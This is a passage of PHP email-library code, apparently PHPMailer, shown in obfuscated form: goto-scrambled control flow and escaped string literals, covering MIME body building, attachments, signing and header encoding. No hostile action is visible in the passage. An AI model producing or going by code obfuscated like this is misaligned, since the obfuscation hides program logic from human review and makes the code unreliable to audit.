Tv8Uq; goto fcceT; I98IG: $ismultipart = false; goto qANOi; BoUzF: $result .= $this->textLine("\103\x6f\156\164\x65\156\164\x2d\124\171\x70\x65\x3a\40" . $this->ContentType . "\73\40\143\x68\141\x72\x73\145\x74\75" . $this->CharSet); goto I98IG; fcceT: } goto hS0cA; r1QQh: voS25: goto FmimQ; tcuOz: WhUJi: goto FYFRy; hS0cA: FvO92: goto Kwrj0; FYFRy: x8e5z: goto STezH; jn1G9: return $result; goto XAY_z; zFxog: if (!("\x6d\x61\x69\154" != $this->Mailer)) { goto Un0HI; } goto XfHHN; K6fgm: if (!(static::ENCODING_7BIT != $this->Encoding)) { goto J5yPc; } goto pr3ED; f0WWO: $result .= $this->headerLine("\103\x6f\156\x74\145\156\164\55\124\x72\141\x6e\163\x66\145\x72\x2d\105\x6e\143\x6f\144\x69\x6e\147", $this->Encoding); goto w_SgE; TCI0I: Un0HI: goto jn1G9; FmimQ: if (!(static::ENCODING_8BIT == $this->Encoding)) { goto WhUJi; } goto n5zcR; n5zcR: $result .= $this->headerLine("\x43\x6f\156\164\145\156\x74\x2d\x54\162\141\x6e\163\x66\145\x72\55\x45\156\143\x6f\144\x69\156\147", static::ENCODING_8BIT); goto tcuOz; XfHHN: $result .= static::$LE; goto TCI0I; w_SgE: goto x8e5z; goto r1QQh; u9Zof: $result = ''; goto nC1th; pr3ED: if ($ismultipart) { goto voS25; } goto f0WWO; STezH: J5yPc: goto zFxog; Kwrj0: Tv8Uq: goto K6fgm; XAY_z: } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . static::$LE . static::$LE . $this->MIMEBody; } protected function generateId() { goto GUNfa; MPJR0: $bytes = openssl_random_pseudo_bytes($len); goto H3ZB4; WwRm5: T__mL: goto MPJR0; GUNfa: $len = 32; goto AWtBv; XiBXv: $bytes = random_bytes($len); goto Ea64i; AWtBv: if (function_exists("\162\x61\x6e\144\157\x6d\137\x62\x79\x74\145\163")) { goto zVq9f; } goto YIX7Y; VSLSA: zVq9f: goto XiBXv; H3ZB4: V5LEE: goto JkyAu; AzEFX: goto V5LEE; goto VSLSA; TuhPi: $bytes = hash("\x73\150\x61\62\x35\x36", uniqid((string) mt_rand(), true), true); goto AzEFX; Ea64i: goto V5LEE; goto WwRm5; YIX7Y: if (function_exists("\x6f\160\145\156\163\163\154\137\162\141\156\x64\157\x6d\x5f\x70\163\145\165\x64\x6f\x5f\x62\171\164\x65\163")) { goto T__mL; } goto TuhPi; JkyAu: return str_replace(["\x3d", "\53", "\x2f"], '', base64_encode(hash("\163\150\x61\x32\65\x36", $bytes, true))); goto GYO6w; GYO6w: } public function createBody() { goto X14Dt; eWMKz: switch ($this->message_type) { case "\x69\156\154\151\x6e\145": goto IvpVD; a0rFk: $body .= $this->attachAll("\151\x6e\154\151\156\x65", $this->boundary[1]); goto NyOYf; IvpVD: $body .= $mimepre; goto mn0dr; mn0dr: $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); goto tTXfh; NyOYf: goto p7bud; goto j1fFj; BuB7n: $body .= static::$LE; goto a0rFk; tTXfh: $body .= $this->encodeString($this->Body, $bodyEncoding); goto BuB7n; j1fFj: case "\141\164\164\141\143\x68": goto MCIDR; AJ8jT: $body .= static::$LE; goto KMqC_; nupJ7: $body .= $this->encodeString($this->Body, $bodyEncoding); goto AJ8jT; GNioB: $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); goto nupJ7; MCIDR: $body .= $mimepre; goto GNioB; AQ5yr: goto p7bud; goto sw6xM; KMqC_: $body .= $this->attachAll("\x61\x74\164\141\x63\x68\x6d\x65\156\x74", $this->boundary[1]); goto AQ5yr; sw6xM: case "\x69\x6e\x6c\x69\156\145\x5f\141\x74\x74\141\x63\x68": goto aVxKw; MK9Gu: $body .= static::$LE; goto r7G_d; r7G_d: $body .= $this->attachAll("\x69\156\154\x69\156\145", $this->boundary[2]); goto nwoli; AWCuA: $body .= $this->textLine("\11\142\157\165\156\144\141\162\x79\75\x22" . $this->boundary[2] . "\42"); goto M2kAS; MSqAy: $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); goto biOR9; nwoli: $body .= static::$LE; goto QcAwY; M2kAS: $body .= static::$LE; goto MSqAy; aVxKw: $body .= $mimepre; goto zIfoo; QcAwY: $body .= $this->attachAll("\x61\x74\x74\x61\x63\x68\155\x65\x6e\164", $this->boundary[1]); goto mPY6l; zIfoo: $body .= $this->textLine("\x2d\55" . $this->boundary[1]); goto nC3W2; biOR9: $body .= $this->encodeString($this->Body, $bodyEncoding); goto MK9Gu; mPY6l: goto p7bud; goto AMFWM; nC3W2: $body .= $this->headerLine("\x43\157\156\164\145\156\164\55\x54\171\x70\x65", static::CONTENT_TYPE_MULTIPART_RELATED . "\73"); goto AWCuA; AMFWM: case "\141\x6c\x74": goto R2Imh; Ywopg: $body .= static::$LE; goto T8hW4; sF4pl: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto v9Wmo; xl3pi: goto p7bud; goto klJO5; OmVIB: $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto E8Ld3; aVPwO: $body .= $this->encodeString($this->Ical, $this->Encoding); goto Ywopg; kGH6F: $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto sF4pl; FVWn9: $body .= static::$LE; goto m0Vxa; FsCEY: $body .= $this->endBoundary($this->boundary[1]); goto xl3pi; E8Ld3: $body .= $this->encodeString($this->Body, $bodyEncoding); goto FVWn9; m0Vxa: if (empty($this->Ical)) { goto XmqzD; } goto KfOEs; v9Wmo: $body .= static::$LE; goto OmVIB; R2Imh: $body .= $mimepre; goto kGH6F; T8hW4: XmqzD: goto FsCEY; KfOEs: $body .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . "\73\x20\155\x65\164\x68\157\x64\75\122\x45\x51\x55\x45\123\x54", ''); goto aVPwO; klJO5: case "\x61\154\164\137\x69\156\154\x69\156\145": goto A3t0F; nnkKf: $body .= $this->textLine("\11\x62\157\165\x6e\144\x61\x72\171\75\42" . $this->boundary[2] . "\42"); goto JYrtc; A3t0F: $body .= $mimepre; goto MyjtD; t8fCM: $body .= static::$LE; goto IAfut; MyjtD: $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto UgnWG; LfOyX: $body .= $this->headerLine("\103\x6f\x6e\164\145\x6e\x74\55\124\171\x70\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b"); goto nnkKf; myF7p: $body .= $this->endBoundary($this->boundary[1]); goto DyiDY; DyiDY: goto p7bud; goto jFoyg; UgnWG: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto t8fCM; KgO_5: $body .= static::$LE; goto myF7p; atnZG: $body .= static::$LE; goto awOxL; JYrtc: $body .= static::$LE; goto nGx2P; nGx2P: $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto FPcne; awOxL: $body .= $this->attachAll("\x69\x6e\154\151\x6e\x65", $this->boundary[2]); goto KgO_5; FPcne: $body .= $this->encodeString($this->Body, $bodyEncoding); goto atnZG; IAfut: $body .= $this->textLine("\x2d\x2d" . $this->boundary[1]); goto LfOyX; jFoyg: case "\x61\x6c\164\137\x61\164\x74\141\143\x68": goto RwRj5; bqurw: $body .= $this->headerLine("\103\157\156\x74\x65\156\164\x2d\124\171\160\145", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\73"); goto b3ZQ0; LBRyR: $body .= static::$LE; goto g5IPl; FxRGL: goto p7bud; goto tEiuz; zSzDK: $body .= $this->encodeString($this->Ical, $this->Encoding); goto X4kj9; K2YhR: $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto xroQG; xroQG: $body .= $this->encodeString($this->Body, $bodyEncoding); goto LBRyR; tkMxw: $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto BTV54; X5rRp: $body .= static::$LE; goto tkMxw; RwRj5: $body .= $mimepre; goto a6KsR; g5IPl: if (empty($this->Ical)) { goto Iq28D; } goto Mj24h; J1cDk: $body .= static::$LE; goto K2YhR; vOJVh: $body .= static::$LE; goto g_5To; b3ZQ0: $body .= $this->textLine("\x9\142\x6f\x75\156\x64\141\162\x79\75\42" . $this->boundary[2] . "\42"); goto X5rRp; X4kj9: Iq28D: goto CA7To; Mj24h: $body .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . "\73\x20\x6d\145\x74\150\157\144\x3d\122\105\x51\125\x45\123\124", ''); goto zSzDK; CA7To: $body .= $this->endBoundary($this->boundary[2]); goto vOJVh; BTV54: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto J1cDk; a6KsR: $body .= $this->textLine("\x2d\55" . $this->boundary[1]); goto bqurw; g_5To: $body .= $this->attachAll("\141\164\x74\x61\143\x68\x6d\145\156\x74", $this->boundary[1]); goto FxRGL; tEiuz: case "\141\154\x74\137\151\x6e\154\x69\156\145\x5f\x61\164\x74\141\x63\x68": goto t19C1; najH2: $body .= $this->endBoundary($this->boundary[2]); goto grUlC; IJ6GO: $body .= $this->textLine("\11\x62\x6f\x75\156\x64\x61\162\171\x3d\42" . $this->boundary[2] . "\x22"); goto jxmrc; t19C1: $body .= $mimepre; goto rmXEA; grUlC: $body .= static::$LE; goto SGEg5; murk1: $body .= $this->textLine("\x9\142\x6f\165\x6e\x64\141\162\171\75\42" . $this->boundary[3] . "\x22"); goto o2iPM; SGEg5: $body .= $this->attachAll("\x61\164\164\141\x63\150\x6d\145\x6e\x74", $this->boundary[1]); goto h05FR; R1q82: $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto wHo8g; rmXEA: $body .= $this->textLine("\55\x2d" . $this->boundary[1]); goto lzYB_; lzYB_: $body .= $this->headerLine("\x43\157\156\164\145\156\164\55\x54\171\160\145", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\x3b"); goto IJ6GO; dOHHc: $body .= static::$LE; goto najH2; h05FR: goto p7bud; goto A2QNP; nfcUV: $body .= $this->encodeString($this->Body, $bodyEncoding); goto HAyRM; HAyRM: $body .= static::$LE; goto On03_; SJUHi: $body .= $this->textLine("\x2d\x2d" . $this->boundary[2]); goto XLR41; jxmrc: $body .= static::$LE; goto R1q82; NF9Zg: $body .= static::$LE; goto SJUHi; pV2kA: $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto nfcUV; XLR41: $body .= $this->headerLine("\103\x6f\x6e\164\145\156\x74\x2d\x54\171\160\x65", static::CONTENT_TYPE_MULTIPART_RELATED . "\73"); goto murk1; On03_: $body .= $this->attachAll("\151\x6e\154\x69\156\145", $this->boundary[3]); goto dOHHc; wHo8g: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto NF9Zg; o2iPM: $body .= static::$LE; goto pV2kA; A2QNP: default: goto lNL9F; T0Nds: $body .= $this->encodeString($this->Body, $this->Encoding); goto I4jRP; lNL9F: $this->Encoding = $bodyEncoding; goto T0Nds; I4jRP: goto p7bud; goto ry9om; ry9om: } goto wTjEf; wTjEf: q13Iw: goto NPoFG; x24wf: h3UsQ: goto RzbUJ; RzbUJ: $altBodyEncoding = $this->Encoding; goto QhhzL; FiikW: $this->setWordWrap(); goto wF4bx; VK_Wx: goto m9k2b; goto TAc9j; adlUG: $this->uniqueid = $this->generateId(); goto fOJOO; gZfum: u30U0: goto FC3ay; TAc9j: UJTCL: goto X4T7b; TJaLt: if ($this->isError()) { goto UJTCL; } goto khZ_0; wnKNe: dzm1T: goto FiikW; OtIfg: if (!(static::ENCODING_8BIT == $bodyEncoding and !$this->has8bitChars($this->Body))) { goto iI4Uh; } goto sDCby; ugOA_: $altBodyCharSet = "\x75\163\55\x61\x73\x63\151\x69"; goto LWW2h; X14Dt: $body = ''; goto adlUG; X4T7b: $body = ''; goto fEOMZ; iq8sa: $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE; goto eFM8j; F0dxm: xsm0k: goto FhB7H; hDKGA: iI4Uh: goto lK3Zu; pOBSY: $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE; goto x24wf; eFM8j: YFFxP: goto zxAcH; apAMg: $body .= $this->getMailMIME() . static::$LE; goto wnKNe; n_cqO: m9k2b: goto hzWDm; NPoFG: p7bud: goto TJaLt; QhhzL: $altBodyCharSet = $this->CharSet; goto lL55X; fEOMZ: if (!$this->exceptions) { goto u30U0; } goto zrZsH; wF4bx: $bodyEncoding = $this->Encoding; goto Ngimp; hzWDm: return $body; goto gj2CO; zrZsH: throw new Exception($this->lang("\x65\x6d\x70\164\x79\137\155\x65\x73\163\141\147\x65"), self::STOP_CRITICAL); goto gZfum; FhB7H: try { goto bdIuS; RtoC_: if (empty($this->sign_extracerts_file)) { goto qS0Ik; } goto vfcJM; bJkGz: fclose($signed); goto wWo09; E_wmK: $body = file_get_contents($signed); goto bJkGz; FqKTF: Ulyb3: goto PtW02; zN0VL: fwrite($file, $body); goto RtoC_; WVY0S: $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; goto xl4hl; Hmgum: Gn3wp: goto qcNmW; hoMct: throw new Exception($this->lang("\163\x69\x67\x6e\x69\x6e\x67") . openssl_error_string()); goto hAf3Y; hAf3Y: goto arZXe; goto SZMub; J3wvG: arZXe: goto hLpSm; GhntT: qS0Ik: goto xAOlB; vfcJM: $sign = @openssl_pkcs7_sign($file, $signed, "\x66\151\154\x65\x3a\x2f\57" . realpath($this->sign_cert_file), ["\146\x69\x6c\x65\x3a\x2f\x2f" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file); goto maymM; cEEPx: if ($sign) { goto VejZc; } goto M4d5H; wWo09: $parts = explode("\12\xa", $body, 2); goto WVY0S; p2gUM: throw new Exception($this->lang("\145\170\x74\x65\x6e\163\151\157\x6e\x5f\x6d\x69\163\x73\x69\156\x67") . "\x6f\160\145\x6e\x73\163\x6c"); goto FqKTF; SZMub: VejZc: goto E_wmK; obwfH: $signed = fopen("\x70\150\160\72\57\x2f\x74\145\x6d\160", "\x72\x62\53"); goto zN0VL; maymM: goto Gn3wp; goto GhntT; xl4hl: $body = $parts[1]; goto J3wvG; bdIuS: if (defined("\120\113\103\123\x37\137\x54\x45\x58\x54")) { goto Ulyb3; } goto p2gUM; PtW02: $file = fopen("\160\x68\160\72\x2f\x2f\164\x65\155\160", "\162\x62\x2b"); goto obwfH; M4d5H: fclose($signed); goto hoMct; xAOlB: $sign = @openssl_pkcs7_sign($file, $signed, "\146\151\x6c\x65\72\x2f\x2f" . realpath($this->sign_cert_file), ["\x66\151\x6c\145\72\57\57" . realpath($this->sign_key_file), $this->sign_key_pass], []); goto Hmgum; qcNmW: fclose($file); goto cEEPx; hLpSm: } catch (Exception $exc) { goto bkLk0; shs7F: throw $exc; goto jJUWI; jJUWI: KFGVS: goto h0IgU; bkLk0: $body = ''; goto b6RXh; b6RXh: if (!$this->exceptions) { goto KFGVS; } goto shs7F; h0IgU: } goto n_cqO; lL55X: if (!(static::ENCODING_8BIT == $altBodyEncoding and !$this->has8bitChars($this->AltBody))) { goto E7HVZ; } goto SGoKY; khZ_0: if ($this->sign_key_file) { goto xsm0k; } goto VK_Wx; au5br: if (!$this->sign_key_file) { goto dzm1T; } goto apAMg; Km9_y: $this->boundary[2] = "\x62\62\x5f" . $this->uniqueid; goto pcO8z; pcO8z: $this->boundary[3] = "\x62\63\x5f" . $this->uniqueid; goto au5br; SGoKY: $altBodyEncoding = static::ENCODING_7BIT; goto ugOA_; LWW2h: E7HVZ: goto U82D3; sDCby: $bodyEncoding = static::ENCODING_7BIT; goto mzSkx; zxAcH: $mimepre = "\x54\150\x69\163\x20\151\163\x20\141\x20\155\165\x6c\x74\x69\55\x70\141\162\164\x20\x6d\x65\x73\163\141\147\145\x20\151\x6e\x20\x4d\111\115\x45\x20\146\x6f\162\155\x61\164\x2e" . static::$LE; goto eWMKz; lK3Zu: if (!(static::ENCODING_BASE64 != $this->Encoding and static::hasLineLongerThanMax($this->Body))) { goto h3UsQ; } goto pOBSY; U82D3: if (!(static::ENCODING_BASE64 != $altBodyEncoding and static::hasLineLongerThanMax($this->AltBody))) { goto YFFxP; } goto iq8sa; Ngimp: $bodyCharSet = $this->CharSet; goto OtIfg; mzSkx: $bodyCharSet = "\165\x73\55\141\163\143\x69\151"; goto hDKGA; FC3ay: goto m9k2b; goto F0dxm; fOJOO: $this->boundary[1] = "\142\61\137" . $this->uniqueid; goto Km9_y; gj2CO: } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { goto MNwYP; WAXYg: if (!('' == $encoding)) { goto SU79U; } goto j39ce; XFAlu: if (!('' == $charSet)) { goto SdZyK; } goto sNMHv; pCYXt: Vsnvf: goto Rxm1J; xqBw8: qoze3: goto WAXYg; Vfuku: $result .= $this->headerLine("\x43\157\x6e\164\x65\156\164\x2d\124\x72\x61\156\163\146\x65\162\x2d\x45\x6e\x63\x6f\144\151\156\x67", $encoding); goto pCYXt; j39ce: $encoding = $this->Encoding; goto pwt4W; MNwYP: $result = ''; goto XFAlu; gWBgR: return $result; goto mn7Ki; sNMHv: $charSet = $this->CharSet; goto mR3fq; tXgse: if (!('' == $contentType)) { goto qoze3; } goto UmEke; pwt4W: SU79U: goto gCdS4; wPKFd: $result .= static::$LE; goto R16z9; gCdS4: $result .= $this->textLine("\55\x2d" . $boundary); goto vlSFl; mR3fq: SdZyK: goto tXgse; Rxm1J: $result .= static::$LE; goto gWBgR; R16z9: if (!(static::ENCODING_7BIT != $encoding)) { goto Vsnvf; } goto Vfuku; UmEke: $contentType = $this->ContentType; goto xqBw8; vlSFl: $result .= sprintf("\103\157\156\x74\145\x6e\x74\55\x54\x79\160\145\x3a\x20\45\x73\x3b\x20\x63\150\141\x72\x73\x65\164\75\x25\x73", $contentType, $charSet); goto wPKFd; mn7Ki: } protected function endBoundary($boundary) { return static::$LE . "\55\x2d" . $boundary . "\x2d\x2d" . static::$LE; } protected function setMessageType() { goto vQXuy; LCD7e: TmkMa: goto qewCc; vQXuy: $type = []; goto m4HGs; tWD3f: if (!$this->attachmentExists()) { goto KZGGq; } goto n9s3P; kq7Yr: TILvq: goto muyUe; m4HGs: if (!$this->alternativeExists()) { goto TmkMa; } goto GDbkv; GDbkv: $type[] = "\x61\x6c\x74"; goto LCD7e; RCmo0: $type[] = "\151\156\x6c\x69\156\x65"; goto RytIS; qewCc: if (!$this->inlineImageExists()) { goto CpPVu; } goto RCmo0; d0n3q: $this->message_type = "\160\154\x61\x69\156"; goto kq7Yr; T3YrQ: KZGGq: goto Q_8Ch; oYQEh: if (!('' == $this->message_type)) { goto TILvq; } goto d0n3q; RytIS: CpPVu: goto tWD3f; Q_8Ch: $this->message_type = implode("\137", $type); goto oYQEh; n9s3P: $type[] = "\141\x74\x74\141\143\150"; goto T3YrQ; muyUe: } public function headerLine($name, $value) { return $name . "\x3a\x20" . $value . static::$LE; } public function textLine($value) { return $value . static::$LE; } public function addAttachment($path, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = "\x61\x74\164\141\143\x68\155\145\x6e\x74") { try { goto OYdxX; OYdxX: if (!(!static::isPermittedPath($path) || !@is_file($path))) { goto cy4HX; } goto dy1v8; ISfzu: $type = static::filenameToType($path); goto f_x2f; Gdx_E: cy4HX: goto GPI6q; IbkWR: $filename = basename($path); goto hG89E; hG89E: if (!('' == $name)) { goto sUPZS; } goto nxEP9; dy1v8: throw new Exception($this->lang("\146\x69\154\x65\x5f\141\143\143\145\x73\x73") . $path, self::STOP_CONTINUE); goto Gdx_E; f_x2f: zUXXf: goto IbkWR; HJKJB: sUPZS: goto RkBmi; RkBmi: $this->attachment[] = [0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $name]; goto Gp6ys; GPI6q: if (!('' == $type)) { goto zUXXf; } goto ISfzu; nxEP9: $name = $filename; goto HJKJB; Gp6ys: } catch (Exception $exc) { goto PUERS; vfNgF: if (!$this->exceptions) { goto M3D3V; } goto ye2IF; w0atk: $this->edebug($exc->getMessage()); goto vfNgF; ye2IF: throw $exc; goto F9id_; F9id_: M3D3V: goto thmvj; PUERS: $this->setError($exc->getMessage()); goto w0atk; thmvj: return false; goto ojOuv; ojOuv: } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { goto sOsqK; CE0Fa: $incl = []; goto emFoD; emFoD: foreach ($this->attachment as $attachment) { goto LHldl; GoJ_W: if (empty($cid)) { goto UAV5g; } goto TuakR; p6JMM: HO6KO: goto HM8MO; azPgd: $mime[] = sprintf("\x2d\x2d\x25\x73\45\163", $boundary, static::$LE); goto kiTlN; AtBL9: goto mUm88; goto E1AdV; HM8MO: $mime[] = sprintf("\103\157\156\164\145\156\164\55\104\x69\163\x70\x6f\163\x69\x74\151\x6f\x6e\72\x20\x25\163\73\40\146\x69\154\145\x6e\141\155\x65\75\x25\163\x25\163", $disposition, $encoded_name, static::$LE . static::$LE); goto kX0iY; KqaRv: gKsXI: goto EVGzV; xD9cw: if (!in_array($inclhash, $incl)) { goto wBxZd; } goto E2rnw; z4y2K: $incl[] = $inclhash; goto ruVQj; Rls6E: UAV5g: goto zeBYD; nOZdp: EBmCK: goto s15fa; SeNew: $string = ''; goto W7rgu; x341T: if (!("\x69\156\154\x69\156\145" == $disposition and array_key_exists($cid, $cidUniq))) { goto Bodbe; } goto T34Vc; kiTlN: if (!empty($name)) { goto EBmCK; } goto a1Fb1; ccthA: Bodbe: goto uxV9l; W7rgu: $path = ''; goto LFlLG; w4m5H: $mime[] = sprintf("\x43\x6f\x6e\164\x65\156\164\55\x54\x72\x61\x6e\x73\x66\x65\x72\55\x45\x6e\143\157\144\151\x6e\x67\x3a\x20\45\x73\45\x73", $encoding, static::$LE); goto S359I; OBEJi: $string = $attachment[0]; goto RNIna; ruVQj: $name = $attachment[2]; goto ac1RQ; DHFaz: if (preg_match("\x2f\x5b\40\x5c\x28\134\51\74\76\100\x2c\x3b\72\134\x22\x5c\x2f\134\133\134\x5d\134\x3f\75\135\57", $encoded_name)) { goto mWt8I; } goto d55Nf; E1AdV: xvIzE: goto ydGAx; zUSsm: goto n4f0W; goto Nb41r; OSnJ9: XpSom: goto tub3x; mLrb_: $path = $attachment[0]; goto ApGf0; kX0iY: HiG6S: goto nRjKc; kKbq5: $mime[] = $this->encodeFile($path, $encoding); goto zUSsm; Nb41r: o6ChV: goto yfq15; dylR1: GGXMv: goto zS298; KGCI9: $disposition = $attachment[6]; goto DuiMq; qi_er: return ''; goto dylR1; w_8r_: if ($bString) { goto yt91M; } goto mLrb_; aZSuA: $mime[] = sprintf("\x43\x6f\x6e\164\145\x6e\164\55\104\151\x73\160\157\163\x69\164\151\x6f\x6e\72\40\x25\x73\x3b\40\146\151\154\145\156\x61\x6d\x65\75\42\x25\163\42\45\163", $disposition, $encoded_name, static::$LE . static::$LE); goto H2XFp; E2rnw: goto gKsXI; goto IHWW2; e6hP5: goto HiG6S; goto p6JMM; S359I: S_Yo7: goto GoJ_W; DHkO9: $type = $attachment[4]; goto KGCI9; T34Vc: goto gKsXI; goto ccthA; cfelf: n4f0W: goto KOeAw; LFlLG: $bString = $attachment[5]; goto w_8r_; H2XFp: jn1eJ: goto MsdJU; LHldl: if (!($attachment[6] == $disposition_type)) { goto NztCE; } goto SeNew; ac1RQ: $encoding = $attachment[3]; goto DHkO9; TuakR: $mime[] = sprintf("\x43\x6f\x6e\164\x65\x6e\x74\55\x49\x44\72\x20\74\x25\x73\76\45\163", $cid, static::$LE); goto Rls6E; IHWW2: wBxZd: goto z4y2K; RNIna: q7Xob: goto r9eNa; nRjKc: goto jn1eJ; goto iafHj; MsdJU: mUm88: goto ivQfq; r9eNa: $inclhash = hash("\x73\x68\x61\x32\x35\66", serialize($attachment)); goto xD9cw; iafHj: mWt8I: goto aZSuA; zS298: $mime[] = static::$LE; goto AR0qU; uxV9l: $cidUniq[$cid] = true; goto azPgd; s15fa: $mime[] = sprintf("\103\157\156\164\x65\x6e\164\55\124\171\x70\x65\x3a\40\x25\163\x3b\x20\156\x61\x6d\145\75\42\45\163\x22\x25\x73", $type, $this->encodeHeader($this->secureHeader($name)), static::$LE); goto OSnJ9; X2jMo: $mime[] = sprintf("\x43\x6f\156\x74\145\x6e\x74\55\104\x69\x73\160\x6f\x73\x69\164\x69\157\156\x3a\40\x25\x73\45\163", $disposition, static::$LE . static::$LE); goto e6hP5; ydGAx: $encoded_name = $this->encodeHeader($this->secureHeader($name)); goto DHFaz; DuiMq: $cid = $attachment[7]; goto x341T; KOeAw: if (!$this->isError()) { goto GGXMv; } goto qi_er; d55Nf: if (!empty($encoded_name)) { goto HO6KO; } goto X2jMo; ivQfq: if ($bString) { goto o6ChV; } goto kKbq5; a1Fb1: $mime[] = sprintf("\103\157\x6e\164\145\x6e\164\x2d\x54\x79\160\145\72\40\45\163\x25\163", $type, static::$LE); goto zzKrA; zzKrA: goto XpSom; goto nOZdp; zeBYD: if (!empty($disposition)) { goto xvIzE; } goto MkqQg; rOATp: yt91M: goto OBEJi; yfq15: $mime[] = $this->encodeString($string, $encoding); goto cfelf; ApGf0: goto q7Xob; goto rOATp; tub3x: if (!(static::ENCODING_7BIT != $encoding)) { goto S_Yo7; } goto w4m5H; AR0qU: NztCE: goto KqaRv; MkqQg: $mime[] = static::$LE; goto AtBL9; EVGzV: } goto fjZdR; jirol: $cidUniq = []; goto CE0Fa; sOsqK: $mime = []; goto jirol; OozU4: return implode('', $mime); goto tfcJa; fMTV2: $mime[] = sprintf("\55\55\45\x73\x2d\x2d\45\x73", $boundary, static::$LE); goto OozU4; fjZdR: BNqsq: goto fMTV2; tfcJa: } protected function encodeFile($path, $encoding = self::ENCODING_BASE64) { try { goto JApn0; dO7Uc: pLTXR: goto wq_iE; U66S0: return $file_buffer; goto Ua4Yr; JApn0: if (!(!static::isPermittedPath($path) || !file_exists($path))) { goto c7j4A; } goto s0SsD; ZOofe: if (!(false === $file_buffer)) { goto pLTXR; } goto BAC9d; BAC9d: throw new Exception($this->lang("\x66\x69\x6c\145\x5f\x6f\x70\145\x6e") . $path, self::STOP_CONTINUE); goto dO7Uc; PRQQK: c7j4A: goto y3Bna; s0SsD: throw new Exception($this->lang("\146\151\x6c\x65\x5f\157\x70\x65\x6e") . $path, self::STOP_CONTINUE); goto PRQQK; wq_iE: $file_buffer = $this->encodeString($file_buffer, $encoding); goto U66S0; y3Bna: $file_buffer = file_get_contents($path); goto ZOofe; Ua4Yr: } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = self::ENCODING_BASE64) { goto il1HB; sussu: CGg1s: goto QOQWK; il1HB: $encoded = ''; goto FbhPm; FbhPm: switch (strtolower($encoding)) { case static::ENCODING_BASE64: $encoded = chunk_split(base64_encode($str), static::STD_LINE_LENGTH, static::$LE); goto CGg1s; case static::ENCODING_7BIT: case static::ENCODING_8BIT: goto NnFcb; UAKt6: $encoded .= static::$LE; goto thwr3; SxH2v: goto CGg1s; goto C87WP; thwr3: ig1G8: goto SxH2v; IxyBL: if (!(substr($encoded, -strlen(static::$LE)) != static::$LE)) { goto ig1G8; } goto UAKt6; NnFcb: $encoded = static::normalizeBreaks($str); goto IxyBL; C87WP: case static::ENCODING_BINARY: $encoded = $str; goto CGg1s; case static::ENCODING_QUOTED_PRINTABLE: $encoded = $this->encodeQP($str); goto CGg1s; default: $this->setError($this->lang("\x65\x6e\143\x6f\x64\x69\156\x67") . $encoding); goto CGg1s; } goto Zc5Vp; Zc5Vp: DP3MP: goto sussu; QOQWK: return $encoded; goto D23OI; D23OI: } public function encodeHeader($str, $position = "\164\x65\170\x74") { goto QLDl9; veD1Q: $encoded = $this->base64EncodeWrapMB($str, "\xa"); goto Qva6b; oCf14: goto UtPGg; goto wMMKc; Ar_Ks: $maxlen = static::STD_LINE_LENGTH - $lengthsub - 8 - strlen($this->CharSet); goto ZuCfs; sGNUf: goto UtPGg; goto TNs97; kis6k: return trim(static::normalizeBreaks($encoded)); goto NKhpS; mAwUX: if (!($str == $encoded)) { goto ywdn0; } goto Dx7Rp; wPHvE: $lengthsub = "\x6d\141\x69\154" == $this->Mailer ? 13 : 0; goto WzpTB; wMMKc: IcUWn: goto pctwE; vHXi7: pgveh: goto ouGHM; IL5zd: goto UtPGg; goto vHXi7; Pmplk: switch (strtolower($position)) { case "\x70\x68\162\x61\x73\145": goto ytXNf; NY2zx: jWNek: goto QjBVi; pV6iH: goto Nba9l; goto rc_FI; sxSWX: s60Da: goto zwAhb; JE9kv: if (!($str == $encoded and !preg_match("\x2f\x5b\136\101\x2d\x5a\141\x2d\172\60\x2d\x39\41\43\x24\x25\x26\x27\x2a\53\x5c\x2f\x3d\77\x5e\137\140\173\x7c\x7d\176\x20\x2d\x5d\x2f", $str))) { goto jWNek; } goto NuY3A; zwAhb: $matchcount = preg_match_all("\x2f\x5b\x5e\x5c\x30\x34\x30\134\x30\x34\x31\134\x30\x34\x33\55\x5c\61\x33\x33\134\x31\63\65\x2d\134\x31\67\66\135\57", $str, $matches); goto pV6iH; ytXNf: if 